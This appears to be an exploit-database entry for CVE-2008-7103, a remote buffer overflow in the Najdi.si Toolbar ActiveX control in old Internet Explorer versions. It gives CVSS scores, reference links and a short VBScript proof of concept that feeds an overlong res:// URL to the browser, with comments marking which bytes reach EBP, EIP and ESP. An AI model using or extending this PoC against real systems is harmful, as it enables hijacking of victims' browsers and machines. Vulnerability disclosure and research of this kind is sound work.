Najdi.si Toolbar ActiveX Remote Buffer Overflow PoC

2009.08.30

Credit: shinnai

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7103

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

-----------------------------------------------------------------------------
 Najdi.si Toolbar Remote Buffer Overflow
 url: http://www.najdi.si/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Windows XP Professional SP2 with Internet Explorer 6 and 7
 Windows XP Professional SP3 with Internet Explorer 6 and 7
 Windows 2k Professional SP4 with Internet Explorer 6
 Windows Server 2003 SP2 with Internet Explorer 7
-----------------------------------------------------------------------------
<script language='vbscript'>

 mUrl = "res://" + String(260, "a") + "bb" + "cc" + String(512, "d") + "/"
 
 ' "bb" 	=> see EBP
 ' "cc" 	=> see EIP
 ' "ddd..."	=> see ESP

 Document.Location = mUrl

</script>

References:

http://xforce.iss.net/xforce/xfdb/44840

http://www.securityfocus.com/bid/30922

http://www.milw0rm.com/exploits/6327

http://secunia.com/advisories/31671

http://osvdb.org/47909

See this note in RAW Version

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Najdi.si Toolbar ActiveX Remote Buffer Overflow PoC

References:

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